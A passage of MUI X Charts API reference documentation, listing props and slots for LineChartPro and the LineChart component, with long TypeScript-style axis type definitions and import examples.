'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| zAxis | `Array<{ colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, id?: string, max?: number, min?: number }>` | - | No |  |
| zoomData | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| zoomInteractionConfig | `{ pan?: Array<'drag' \| 'pressAndDrag' \| 'wheel' \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'drag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'pressAndDrag' } \| { allowedDirection?: 'x' \| 'xy' \| 'y', pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' }>, zoom?: Array<'brush' \| 'doubleTapReset' \| 'pinch' \| 'tapAndDrag' \| 'wheel' \| { pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' } \| { pointerMode?: any, requiredKeys?: array, type: 'pinch' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'tapAndDrag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'doubleTapReset' } \| { pointerMode?: any, requiredKeys?: array, type: 'brush' }> }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| area | `AnimatedArea` | - | The component that renders the area. |
| axisLabel | `ChartsText` | - | Custom component for axis label. |
| axisLine | `'line'` | - | Custom component for the axis main line. |
| axisTick | `'line'` | - | Custom component for the axis tick. |
| axisTickLabel | `ChartsText` | - | Custom component for tick label. |
| baseButton | `undefined` | - |  |
| baseDivider | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| baseMenuItem | `undefined` | - |  |
| baseMenuList | `undefined` | - |  |
| basePopper | `undefined` | - |  |
| baseTooltip | `undefined` | - |  |
| exportIcon | `ChartsExportIcon` | - | Icon displayed on the toolbar's export button. |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| line | `LineElementPath` | - | The component that renders the line. |
| lineHighlight | `undefined` | - |  |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| mark | `undefined` | - |  |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |
| zoomInIcon | `ChartsZoomInIcon` | - | Icon displayed on the toolbar's zoom in button. |
| zoomOutIcon | `ChartsZoomOutIcon` | - | Icon displayed on the toolbar's zoom out button. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/LineChartPro/LineChartPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/LineChartPro/LineChartPro.tsx)

---

# Source: https://mui.com/x/api/charts/line-chart.md

# LineChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Areas demos](/x/react-charts/areas-demo/)
- [Charts - Label](/x/react-charts/label/)
- [Charts - Line demos](/x/react-charts/line-demo/)
- [Charts - Lines](/x/react-charts/lines/)

## Import

```jsx
import { LineChart } from '@mui/x-charts/LineChart';
// or
import { LineChart } from '@mui/x-charts';
// or
import { LineChart } from '@mui/x-charts-pro';
// or
import { LineChart } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | `{ x: 'line' }` | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| disableLineItemHighlight | `bool` | - | No |  |
| experimentalFeatures | `{ preferStrictDomainInLineCharts?: bool }` | - | No |  |
| grid | `{ horizontal?: bool, vertical?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'line' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedAxis | `Array<{ axisId: number \| string, dataIndex: number }>` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'line' }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAreaClick | `func` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onHighlightedAxisChange | `function(axisItems: Array<AxisItemIdentifier>) => void` | - | No |  |
| onLineClick | `func` | - | No |  |
| onMarkClick | `func` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex?: number, seriesId: number \| string, type: 'line' }` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', 